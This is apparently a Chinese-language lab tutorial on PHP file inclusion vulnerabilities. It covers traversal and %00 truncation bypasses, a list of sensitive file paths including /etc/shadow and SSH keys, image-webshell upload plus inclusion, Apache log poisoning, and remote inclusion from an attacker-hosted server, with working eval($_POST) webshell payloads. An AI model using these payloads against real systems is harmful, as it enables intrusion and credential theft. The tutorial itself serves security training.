admin管理员组文章数量:1637860
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
- 一、文件包含漏洞详解
- 1、文件包含漏洞相关概念
- 2、PHP文件包含漏洞相关概念
- 3、PHP文件包含漏洞利用:`构造payload`
- 4、PHP文件包含漏洞利用:`读取铭感文件`
- 5、PHP文件包含漏洞利用:`简单的目录遍历绕过+截断绕过`
- (1)实验环境:
- (2)靶机链接:
- (3)漏洞描述:
- (4)漏洞分析:
- (5)漏洞测试:
- (6)漏洞利用:
- (7)漏洞修复:
- (8)漏洞总结:
- 6、PHP文件包含漏洞利用:`文件上传+文件包含-getshell`
- (1)实验环境:
- (2)靶机链接:
- (3)漏洞描述:
- (4)漏洞分析:
- (5)漏洞测试:文件上传
- (6)漏洞测试:文件上传+文件包含+php探针
- (7)漏洞利用:文件上传+文件包含+getshell
- (8)漏洞修复:
- (9)漏洞总结:
- 7、PHP文件包含漏洞利用:`Apache日志文件包含getshell`
- (1)实验环境:
- (2)靶机链接:
- (3)漏洞描述:
- (4)漏洞分析:
- (5)漏洞测试:php探针
- (6)漏洞利用:getshell
- (7)漏洞修复:
- 8、PHP文件包含漏洞利用:`远程文件包含`
- (1)利用背景:
- (2)wshell.txt:
- (3)相关参数:
- (4)实验环境:
- (5)漏洞描述:
- (6)漏洞分析:
- (7)漏洞测试:
- (8)漏洞利用:getshell
- (9)漏洞修复
- (10)漏洞总结
- 祝大家新年快乐啊!!!!
一、文件包含漏洞详解
1、文件包含漏洞相关概念
(1)文件包含英文:file inclusion。
(2)文件包含漏洞概述:在Web Application运行的过程中,可以动态引入文件的内容的行文称为文件包含,若对变量没有进行有意的过滤防护,就很容易产生漏洞。
(3)文件包含漏洞背景:程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这其中文件调用的过程一般被称为文件包含。只是这样的话也不会构成文件包含漏洞。但是同时,程序开发人员一般希望代码更加灵活,所以将被包含的文件设置为变量,用来进行动态调用,正是由于这种灵活性,从而导致客户端可以读取任意文件
或执行恶意代码
,造成文件包含漏洞。
(4)使用文件包含的相关语言:几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。
2、PHP文件包含漏洞相关概念
(1)PHP文件包含的实质:文件包含《==》文件调用《==》文件执行
(2)本地文件包含图示:
(3)远程文件包含图示:
(4)文件包含至关重要的特性:被包含的文件只要是符合php语法规范,任何后缀名的文件都能够被PHP解析并执行。若不符合PHP语法规范,则原样输出。(注意:PHP的注释内容也是符合语法规范的,不过也是不会被解析执行的,所以有些时候需要读取页面源码才能看到注释内容!!!)
(5)PHP文件包含的两个重要参数:
- allow_url_fopen (是否允许
打开远程
文件)参数,默认是开启的。 - allow_url_include=On(是否允许
包含远程
文件)参数,默认是关闭的。 - 注意:以上两个参数对包含本地文件没有影响!!!
(6)PHP文件包含函数
- include()函数:找不到被包含文件时会产生警告(E_WARNING),但不会中断执行PHP脚本;
- include_once()函数:与include()函数类型,代码已经被包含则不会再次包含;
- requre()函数:找不到被包含文件时会产生致命错误(E_COMPILE_ERROR),从而中断执行PHP脚本;
- require_once()函数:与require()函数类似,代码已经被包含则不会再次包含。
(7)PHP文件包含示例1:
array.php:存放一个经常使用的打印数组的函数
<?php
//一个用来打印数组的函数
function PrintArr($arr,$p="-->",$lin="<br/>")
{
foreach($arr as $key => $value){
echo "$key $p $value $lin";
}
}
?>
demo1.php:用来动态包含调用打印数组函数的文件
<?php
//error_reporting("0");
include($_GET['file']);
$arr = array("test","test2","test3");
PrintArr($arr);
?>
(8)PHP文件包含示例2:
phpinfo.txt:存放php探针函数
<?php phpinfo();?>
demo2.php:用来动态的调用php探针
<?php include("$_GET['file']");?>
分别修改phpinfo.txt的扩展名为:rar、jpg、qwsn等等发现均可解析,只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析执行。
(9)远程文件包含示例:127.0.0.1本地模拟
hello.txt:打印输出hello world!!!
<?php echo "hello world!!!";?>
demo3.php:用来动态的调用hello.txt的echo动作
<?php include($_GET['file'];?>
3、PHP文件包含漏洞利用:构造payload
(1)正常访问页面逻辑:
- 访问1.html:内含很多的a标签
<html>
<head>
<meta http-equiv= "Content-Type" content= "text/html; charset=utf-8" />
</head>
<body>
<a href="index.php?page=main.php">主页</a><br />
<a href="index.php?page=news.php">新闻</a><br />
<a href="index.php?page=down.php">下载</a><br />
</body>
</html>
- 点击标签后,会跳转到index.php页面内包含的很多页面,比如main.php、news.php、down.php
index.php:
<?php
error_reporting('0');
include($_GET['page']);
?>
main.php:
<?php
header( "content-type:text/html;charset=utf-8" );
?>
<html>
<h1>主页</h1>
</html>
news.php:
<?php
header( "content-type:text/html;charset=utf-8" );
?>
<html>
<h1>新闻</h1>
</html>
down.php:
<?php
header( "content-type:text/html;charset=utf-8" );
?>
<html>
<h1>下载</h1>
</html>
- 跳转到包含文件news.php
(2)攻击者思路:
- 由以上的内容,可以得出一个简单的payload:
http://www.exploit.cool/demo/include_demo/normal_access/index.php?page=xxxxxxxxxx.php
- 很明显这个xxx.php可以替换为任意想要且可读的文件,从而导致任意文件读取漏洞,或包含一个我们上传了的的恶意脚本造成任意代码执行漏洞,当然了如果开启了allow_url_include参数开关,那么就可以远程文件包含我们的恶意脚本了。(这里要说明以下,allow_url_fopen是默认开启的,我们就当做它开启了,毕竟allow_url_include是允许远程文件包含,而allow_url_fopen是允许打开远程文件,二者缺一不可!!!)
4、PHP文件包含漏洞利用:读取铭感文件
(1)Windows敏感文件
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\Program Files\mysql\my,ini // MySQL配置
c:\Program Files\mysql\data\mysql\user.MYD // MySQL root
c:\windows\php.ini // php 配置信息
c:\windows\my.ini // MySQL 配置文件
c:\Windows\System32\drivers\etc\hosts // 本地的域名静态映射
(2)Linux敏感文件
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/apache/php/php.ini
/bin/php.ini
/etc/anacrontab
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/at.allow
/etc/at.deny
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/fstab
/etc/host.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/etc/httpd/htdocs/index.php
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/ld.so.conf
/etc/motd
/etc/my.cnf // mysql配置文件
/etc/mysql/my.cnf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/passwd // 用户信息
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/phpmyadmin/config.inc.php
/etc/resolv.conf
/etc/shadow
/etc/ssh/sshd_config
/etc/ssh/sshd_config
/etc/ssh/ssh_config
/etc/ssh/ssh_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key.pub
/etc/ssh/ssh_host_rsa_key.pub
/etc/sysconfig/network
/etc/sysconfig/network
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/home/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/NetServer/bin/stable/apache/php.ini
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.html
/opt/www/htdocs/index.php
/opt/xampp/etc/php.ini
/PHP/php.ini
/php/php.ini
/php4/php.ini
/php5/php.ini
/root/.atftp_history
/root/.bashrc
/root/.bash_history
/root/.mysql_history
/root/.nano_history
/root/.php_history
/root/.profile
/root/.ssh/authorized_keys
/root/.ssh/identity
/root/.ssh/identity.pub
/root/.ssh/id_dsa
/root/.ssh/id_dsa.pub
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/anaconda-ks.cfg
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error_logerror_log.old
/usr/local/apache2/conf/httpd.conf // apache2配置文件
/usr/local/apache2/conf/php.ini
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/php.ini
/usr/local/httpd/conf/httpd.conf
/usr/local/httpd2.2/htdocs/index.html
/usr/local/httpd2.2/htdocs/index.php
/usr/local/lib/php.ini
/usr/local/mysql/bin/mysql
/usr/local/mysql/my.cnf
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/lib/php.ini // php5配置文件
/usr/local/php5/php5.ini
/usr/local/share/examples/php/php.ini
/usr/local/share/examples/php4/php.ini
/usr/local/tomcat5527/bin/version.sh
/usr/local/Zend/etc/php.ini
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
/var/apache2/config.inc
/var/httpd/conf/httpd.conf // apache配置文件
/var/httpd/conf/php.ini
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.html
/var/httpd/htdocs/index.php
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/httpd.conf
/var/local/www/conf/php.ini
/var/log/access.log
/var/log/access_log
/var/log/apache/access.log
/var/log/apache/access_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/error.log
/var/log/error_log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql-slow.log
/var/log/mysql/mysql.log
/var/log/mysqlderror.log
/var/mail/root
/var/mysql.log
/var/spool/cron/crontabs/root
/var/spool/mail/root
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/www/htdocs/index.php
/var/www/index.html
/var/www/index.php
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
/web/conf/php.ini
/www/conf/httpd.conf
/www/htdocs/index.html
/www/htdocs/index.php
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
root/.ssh/authorized_keys
root/.ssh/identity
root/.ssh/identity.pub
root/.ssh/id_dsa
root/.ssh/id_dsa.pub
root/.ssh/id_rsa
root/.ssh/id_rsa.pub
5、PHP文件包含漏洞利用:简单的目录遍历绕过+截断绕过
(1)实验环境:
1.靶机环境:
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关
allow_url_fopen=off
allow_url_include=off
magic_quotes_gpc=off
2.攻击主机:
(1)物理机Win7【192.168.97.130】
(2)Firefox+Hackbar+Burpsuite
3.网络环境:
(1)VMware搭建的NAT网络
(2)靶机链接:
URL:http://www.include.qwsn/exp/include/include1/include1.php
(3)漏洞描述:
1.使用哪个文件包含函数?
2.以什么方式获取待包含的文件?
2.攻击者对变量是否可控?
(4)漏洞分析:
1.0 漏洞点:include1.php
1.1 关键源码分析:include1.php
<html>
<h3>Less-1:本地文件包含【包含三个flag值】</h3>
</html>
//第一个关
<?php
header("Content-Type:text/html;charset=utf-8");
//页面编码为utf-8,防止页面中文乱码
//打印出flag.txt的大致的所在目录结构
echo 'flag3.txt/flag2.txt&include1.php/flag1.txt'.'<br />';
if(isset($_GET['page'])){
//判断是否读取到了以GET形式传递的page参数的参数值
$file = $_GET['page'];
//参数值赋值给file变量
$file = str_replace( array( "../", "..\"" ), "", $file );
//在file变量里面匹配../以及..\,并且替换为空
include "./flag1/".$_GET['page'.'.php'];
//include()包含参数page的参数值,但是在参数值前面拼接一个目录flag1
//同时也在参数值的后面拼接一个.php后缀
}
else{
//若没有接收到GET形式传递的page参数的参数值,则打印tips提示
echo "<br />"."Tips: Pleade include page!!!";
}
?>
<!-- ./flag1/ --!>
//页面注释内容,提示当前目录下含有【./flag1/】目录
1.2 漏洞分析:
1.使用哪个文件包含函数?
答:include()函数。
2.以什么方式获取待包含的文件?
答:以动态变量引入的方式获取待包含文件。
2.攻击者对变量是否可控?
答:部分可控,需要目录遍历/穿越、截断后缀
(5)漏洞测试:
第一步: 发现文件包含动作
1.0 测试:
1.浏览器访问:http://www.include.qwsn/exp/include/include1/include1.php
//页面回显两个提示:
flag3.txt/flag2.txt&include1.php/flag1.txt
Tips: Pleade include page!!!
2.查看页面源码发现了一个注释内容:<!-- ./flag1/ --!>
1.1 分析:
1.页面提示分析:
(1)提示1:【flag3.txt/flag2.txt&include1.php/flag1.txt】
//由于我们现在所在的页面就是include1.php,可以推测出当前目录下还有
一个flag2.txt,父目录下有flag3.txt,而当前目录的某目录下有一个flag1.txt
(2)提示2:【Tips: Pleade include page!!!】
//翻译:【提示:请包含页面!!!】
//很有可能是,以page参数传递一个参数值,再赋值给一个变量,这个动态变量再被include()包含函数,所包含
2.源码提示分析:
(1)提示3:【<!-- ./flag1/ --!>】
//提示了,当前目录下有一个flag1目录,结合以上的分析,很大可能
flag1.txt存在于flag1目录下```
1.2 猜想:
猜想1:
$file = $_GET['page'];
include $file;
猜想2:
父目录有flag1.txt
当前目录下有flag2.txt和include1.php
当前目录下的flag1目录下有flag1.txt
第二步: 测试是否存在文件包含漏洞【存在】
1.0 测试: 尝试包含当前目录下的flag2.txt,页面会显警告信息:Warning: include(./flag1/flag1.txt.php)
1.1 分析:
我们只是传递了flag2.txt,然而Warning: include(./flag1/flag1.txt.php),那么多
出来的./flag1/以及.php则可能是文件包含函数在包含文件的时候进行了字符串拼接操作
1.2 猜想:
$file = $_GET['page'];
include "./flag1/".$file.".php";
第三步: 测试绕过拼接目录和拼接后缀的方法
1.对于拼接的目录来说我们可以使用../或者..\的方法进行目录遍历或穿越
(1)若../只是被str_replace简单的替换为空,那么可以使用....//或者..././的方式绕过
(2)若..\只是被str_replace简单的替换为空,那么可以使用....\\或者...\.\的方式绕过
2.对于拼接的后缀来说,文件包含截断方法有3种情况
(1)第一种是使用%00截断拼接的后缀名,但是php>5.3.4以后就不能使用了,开启了GPC的情况下也是不能使用的。
(2)Windows下使用.或者./的方法填充256次垃圾字符从而使拼接的扩展名溢出,linux下需要使用4096次,因为文件路径有长度限制。
(3)第三种方法是在远程文件包含时通过?来伪截断拼接的后缀名,其效果和%00差不多;除此之外%23和?的效果一致。【?的url编码为%3f】
(6)漏洞利用:
1.0 测试: 利用文件包含漏洞【直接包含读取flag文件】
payload-1:?page=flag1.txt%00
//页面成功回显flag值:flag{flag1}
payload-2:?page=....//flag2.txt%00
//页面成功回显flag值:flag{flag2}
payload-3:?page=..././..././flag3.txt%00
//页面成功回显flag值:flag{flag3}
(7)漏洞修复:
1.开启gpc:对预定义字符%00进行转义,从而防止截断拼接的后缀!!!
2.升级php版本:大于5.3.4之后的版本,就算关闭了魔术字gpc,%00的截断仍然能无效!!!
1.0 测试: 低版本,开启gpc
1.1 测试: 高版本,关闭gpc
(8)漏洞总结:
1.使用哪个文件包含函数?
include()函数
2.以什么方式读取待包含文件?
以动态变量引入的方式获取待包含文件:include "./flag1/".$_GET['page'].".php";
3.攻击者对变量是否可控?
部分可控:$_GET['page'],因为在包含的时候进行了目录和后缀拼接
4.目录遍历/目录穿越的姿势:../
5.一般的目录拼接绕过姿势:..././、....//、...\.\、....\\
6.一般的后缀拼接绕过姿势:%00截断、.或./垃圾字符填充、远程?截断
7.单纯的本地文件包含,对php的两个参数开关不做要求
allow_url_fopen=off
allow_url_include=off
6、PHP文件包含漏洞利用:文件上传+文件包含-getshell
(1)实验环境:
1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关
allow_url_fopen=off
allow_url_include=off
magic_quotes_gpc=on
2.攻击主机:
(1)物理机Win7【192.168.97.130】
(2)Firefox+Hackbar+Burpsuite
3.网络环境:
(1)VMware搭建的NAT网络
(2)靶机链接:
URL:http://www.include.qwsn/exp/include/include1/include2.php
(3)漏洞描述:
1.使用哪个文件包含函数?
2.以什么方式获取待包含文件?
3.攻击者对变量是否可控?
(4)漏洞分析:
1.0 漏洞点:include2.php
1.1 关键源码分析:include2.php
<?php
//1.文件上传源码:设置了MIME白名单,只让上传图片类型的文件
header("Content-Type:text/html;charset=utf-8");
$uploaddir = 'uploads/';
if (isset($_POST['submit'])){
if (file_exists($uploaddir)){
if (($_FILES['upfile']['type'] == 'image/gif') || ($_FILES['upfile']['type'] == 'image/jpeg') ||
($_FILES['upfile']['type'] == 'image/png') || ($_FILES['upfile']['type'] == 'image/bmp')
){
if (move_uploaded_file($_FILES['upfile']['tmp_name'],$uploaddir . '/'. $_FILES['upfile']['name'])){
echo '文件上传成功,保存于 ' . ' ./' . $uploaddir . $_FILES['upfile']['nane'] . "\n";
}
}
else{
echo '文件类型不正确,请重新上传!' . "\n";
}
}
else{
exit($uploaddir . "文件夹不存在,请手工创建!");
}
}
?>
//2.文件包含源码:文件包含了以动态变量引入的方式获取的待包含文件
<?php
echo "<br />";
if(isset($_GET['page'])){
include $_GET['page'];
}
else{
echo "<br />"."Tips: Pleade include page!!!";
}
?>
1.2 漏洞分析:
1.文件上传:白名单
2.使用哪个文件包含函数?
include()函数
3.以什么方式获取待包含文件?
以动态变量引入的方式获取待包含函数:include $_GET['page']
4.攻击者对变量是否可控?
变量完全可控:$_GET['page']
(5)漏洞测试:文件上传
1.0 测试: 发现文件上传漏洞
1.浏览器访问:http://192.168.97.200/exp/include/include1/include2.php
//页面回显:发现页面存在文件上传,经过测试该文件上传点的检测机制是MIME的白名单
//虽然我们可以通过结合BP来修改content-type来绕过白名单
//但是我们这里主要练习的是文件上传图片马+文件包含解析图片马,所以这里就不进行BP抓包改包的绕过演示了
1.1 分析:
上一步中的回显内容,还有一个提示:【Tips: Please includepage!!!】
//很明显是通过page来传递参数值,这个参数值应该会被包含函数所包含
1.2 猜想:
if(isset($_GET['page']))
include $_GET['page'];
(6)漏洞测试:文件上传+文件包含+php探针
第一步:测试php探针
1.0 测试: 结合文件上传,上传一个info.gif探针,测试是否存在文件包含漏洞【存在】,也就是测试包含解析执行该php探针
1.浏览器访问:http://www.include.qwsn/exp/include/include1/include2.php
2.文件上传info.gif,其内容是<?php phpinfo();?>
3.文件包含该info.gif,其payload为:?page=./uploads/info.gif
//页面成功回显了php探针的信息
1.1 分析:
PHP探针暴露的信息如下:
(1)php配置文件所在位置:
C:\phpStudy\PHPTutorial\php\php-5.2.17\php.ini
(2)Apache和php版本信息:
Apache 2.4 Handler - Apache Lounge
Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
(3) 靶机的主机名:
System Windows NT QWSN-9527 5.2 build 3790
(4)php参数开关状态:
allow_url_fopen = Off
allow_url_include = Off
(5)apache配置文件所在目录:
C:/phpStudy/PHPTutorial/Apache
(6)网站端口配置:
Hostname:Port===》localhost:80
(7)网站根目录:
DOCUMENT_ROOT C:/phpStudy/PHPTutorial/WWW
(8)压缩流支持情况:
BZip2 Support Enabled
Stream Wrapper support compress.bz2://
Stream Filter support bzip2.decompress, bzip2.compress
BZip2 Version 1.0.2, 30-Dec-2001
(9)数据库端口:
mysqli.default_port 3306
(10)session存储位置:
C:\phpStudy\PHPTutorial\tmp\tmp
1.2 猜想:
由网站根目录是【C:/phpstudy/phptutorial/www】可以推测出:该网站搭建时候使用的应该是phpstudy2018
(7)漏洞利用:文件上传+文件包含+getshell
1.0 测试: 文件上传一个wshell.gif图片马,然后文件包含该图片马,从而解析执行图片马里面的脚步,从而在当前目录下创建一个shell.php的一句话
1.文件上传wshell.gif,其wshell.gif的内容:
<?php echo 'success!!!';fputs(fopen('shell.php','w'),'<?php phpinfo();eval(\$_POST[123]);?>');?>
2.文件包含的payload:?page=./uploads/wshell.gif
3.访问生成的shell.php
1.1 蚁剑连接:shell.php
(8)漏洞修复:
1.对文件上传设置后缀白名单。
2.对文件包含进行拼接固定的目录和后缀,同时防止绕过。
(9)漏洞总结:
1.使用哪个文件包含函数?
include()函数
2.以什么方式获取待包含文件?
以动态变量引入的方式获取待包含函数:include $_GET['page']
3.攻击者对变量是否可控?
变量完全可控:$_GET['page']
4.文件上传+文件包含Getshell姿势:
若只让上传图片后缀的文件,我们可以上传一个图片马,然后用文件包含来对他进行php的解析执行即可
姿势1:上传shell.gif图片马,直接包含,蚁剑连接
姿势2:上传Wshell.gif图片马,直接包含写入一个shell.php,蚁剑连接
7、PHP文件包含漏洞利用:Apache日志文件包含getshell
(1)实验环境:
1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关
allow_url_fopen=off
allow_url_include=off
magic_quotes_gpc=on
2.攻击主机:
(1)物理机Win7【192.168.97.130】
(2)Firefox+Hackbar+Burpsuite
3.网络环境:
(1)VMware搭建的NAT网络
(2)靶机链接:
URL:http://www.include.qwsn/exp/include/include1/include3.php
(3)漏洞描述:
1.使用哪个文件包含函数?
2.以什么方式获取待包含的文件?
2.攻击者对变量是否可控?
(4)漏洞分析:
1.0 漏洞点: include3.php
1.1 关键源码分析: include3.php
<html>
<h3>Less-3:Apache日志包含【getshell】</h3>
</html>
<?php
header("Content-Type:text/html;charset=utf-8");
//防止中文乱码
if(isset($_GET['page'])){//验证是否提交了page参数
include($_GET['page']); //进行文件包含page参数
}else{ //若没有提交page参数,则显示提示内容
echo 'Tips1:Please include page!'.'<br />';
}
?>
//注释信息:
<!--管理员为了安全把日志放在了1下面--!>
1.2 漏洞分析:
1.使用哪个文件包含函数?
include()函数
2.以什么方式获取待包含文件?
以动态变量引入的方式获取待包含文件:include "$_GET['page']";
3.攻击者对变量是否可控?
变量完全可控:$_GET['page']
(5)漏洞测试:php探针
第一步:发现文件包含动作【?page=xxx】
1.0 测试
浏览器访问:http://www.include.qwsn/exp/include/include1/include1.php
//页面回显了一个提示信息:【Tips:Please include page!】
1.1 分析
【Tips1:Please include page!】
//很明显是在提示我们进行文件包含
1.2 猜想
if(isset($_GET['page']))
include $_GET['page'];
1.3 查看页面源码发现,一条注释:<!–管理员为了安全把日志放在了1下面–!>
第二步:测试文件包含漏洞
1.0 测试:通过page参数,随便传入一个文件名,测试一下
payload:?page=qwsn.txt
//页面回显了包含函数,以及爆出了靶机目录结构
1.1 分析:
1.由于qwsn.txt是我们随便尝试的一个文件,是不存在的一个文件,所以这里出了一个警告信息
2.【 include(qwsn.txt) 】
//很明显,我们传入的参数,没有任何的过滤,就直接进行include包含了
3.【C:\phpStudy\PHPTutorial\WWW\exp\include\include1\include3.php】
//很明显,我们爆出了靶机的目录结构,并且可以看出靶机是使用phpstudy来搭建的
1.2 猜想
1.由上一步,可以猜想出phpstudy的日志默认存放位置:
c:\phpstudy\phptutorial\apache\logs\access.log
c:\phpstudy\phptutorial\nginx\logs\access.log
2.又因为我们看到注释,发现:【日志被放到了1下面】,所以我们猜想日志位置为:
c:\phpstudy\phptutorial\apache\logs\1\access.log
c:\phpstudy\phptutorial\nginx\logs\1\access.log
3.这里我们还要知道的是,apache和nignx的access.log访问日志对http请求的记录机制。无论访问的资源存在与否,它每次都会一行记录一次http请
求,一行由7个字段组成。从左到右,依次记录的是:
【访问者IP、访问者标识、访问者账号信息、时间时区、GET请求内容、状态码、字节数】
4.注意1:access.log日志在记录的GET请求内容的时候,它是在浏览器页面渲染后才发送给服务器端的,之后再被记录到日志里面。所以此时若遇到空格、
尖括号等等字符,它会先被url编码后,再被记录到日志里面。
5.注意2:若<>等等字符被URL编码,则文件包含后,该代码不能被php成功的解析,所以我们要使用Burpsuite拦截下浏览器的渲染后的请求,我们对GET
请求进行URL解码后,再放通。
1.3 注意,在靶机中Apache默认没有开启access.log日志,因此需要手工开启并设置路径
第三步:测试把php探针写入日志并包含
1.0 测试:根据第二步中的猜想,我们结合BP解码后发送一个带有php探针的GET请求,然后通过日志包含解析执行。
payload:<?php phpinfo();?>
//如下图所示,日志包含成功
抓包
改包
放通
包含日志:
payload:?page=c:\phpstudy\phptutorial\apache\logs\1\access.log
1.1 分析
我们可以把php探针改为一个Shell或Wshell,即可getshell
1.2 注意:
若以上的操作失误,就算下次正确操作,也会文件包含失败,所以需要一次正确。
//但是这无关大雅,因为有些网站就算开启了apache的access.log日志功能,为了防止日志过大导致网站缓存过慢,因此会进行定期删除日志,
//或者一天生成一个以日期为名的日志文件!!!
(6)漏洞利用:getshell
payload-1:<?php eval($_POST[123]);?>
payload-2:<?php echo 'success!!!';fputs(fopen('shell.php','w'),'<? php phpinfo();eval(\$_POST[123]);?>');?>
payload-3:?page=c:\phpstudy\phptutorial\apache\logs\1\access.log
(7)漏洞修复:
1.关闭Apache的access.log日志记录
2.防止泄露access.log日志的位置
8、PHP文件包含漏洞利用:远程文件包含
(1)利用背景:
没有上传功能,没法上传一句话木马,我们可以远程文件包含自己网站根目录wshell.txt,其功能是:被php解析执行,在当前文件包含漏洞的目录下创建一个shell.php,并且写入一句话木马和phpinfo探针
(2)wshell.txt:
<?php fputs(fopen('shell.php','w'),'<?php eval(\$_POST["123"]);phpinfo();?>')?>
(3)相关参数:
靶机开启了allow_url_fopen(允许读取远程文件)参数,且开启了allow_url_include(允许包含远程文件)参数。
(4)实验环境:
1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关
allow_url_fopen=on
allow_url_include=on
magic_quotes_gpc=off
2.攻击主机:
(1)物理机Win7【192.168.97.130】
(2)Firefox+Hackbar+Burpsuite
3.网络环境:
(1)VMware搭建的NAT网络
靶机的hosts文件: C:\WINDOWS\system32\drivers\etc
(5)漏洞描述:
1.使用哪个文件包含函数?
2.以什么方式获取待包含的文件?
2.攻击者对变量是否可控?
(6)漏洞分析:
1.0 漏洞点: include4.php
1.1 关键源码分析: include4.php
<html>
<h3>Less-4:远程文件包含【getshell】</h3>
</html>
<?php
header("Content-Type:text/html;charset=utf-8");
//防止中文乱码
$file=$_GET['page'];
//以GET形式读取浏览器传递的page参数的参数值,并且赋值给$file变量
//使用替换函数对$file进行一定的过滤
if(isset($file)){
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
//include($file);
//给被包含的文件拼接后缀
include($file . '.html.php');
}else{
echo "Tips:Pleade include page!!!";
}
?>
//注意:提示让我们使用截断绕过拼接的后缀
<!-- 有几种截断方法???? --!>
1.2 漏洞分析
1.使用哪个文件包含函数?
include()函数
2.以什么方式获取待包含文件?
以动态变量引入的方式获取待包含文件:include($file . '.html.php');
3.攻击者对变量是否可控?
$file = $_GET['page']
$file = str_replace( array( "http://", "https://" ), "",$file );
$file = str_replace( array( "../", "..\"" ), "", $file );
变量不完全可控
(7)漏洞测试:
第一步:发现文件包含动作【?page=xxx】
1.0 测试:
浏览器访问:http://www.include.qwsn/exp/include/include1/include4.php
//页面回显:【Tips:Pleade include page!!!】
1.1 分析
【Tips:Pleade include page!!!】
//很明显,这个是让我们通过page参数进行传递文件名,从而进行文件包含
1.2 猜想
$file = $_GET['page']
if(isset($file))
include $file;
1.3 查看当前页面的源码发现:<!-- 有几种截断方法???? --!>
第二步:测试文件包含漏洞是否存在【存在】
1.0 测试:尝试远程文件包含一个php探针
【这里我们使用攻击机搭建WEB远程服务器】
payload:?page=http://www.exploit.cool/info.qwsn
//页面回显: include(www.exploit.cool/info.qwsn.html.php)
1.1 分析
【include(www.exploit.cool/info.qwsn.html.php)】
很明显:http://被置换为空,并且传递的字符串参数最后会拼接.html.php后
缀,我们这里可以尝试复写或大小写绕过http://的置空过滤,同时可以尝试%00截断拼接的后缀
1.2 猜想
$file = $_GET['page']
if(isset($file)){
$file = str_replace(array('http://','https://'),'',$file);
include($file . '.html.php');
}
1.3 尝试复写http://和%00截断绕过
【注意:若要%00生效,需要关闭一个php参数:magic_quotes_gpc=off】
payload:?page=hthttp://tp://www.exploit.cool/info.qwsn%00
//页面回显:php探针成功被解析
1.4 尝试大写http://和%23绕过
1.5 尝试大小写http://和%3f绕过:
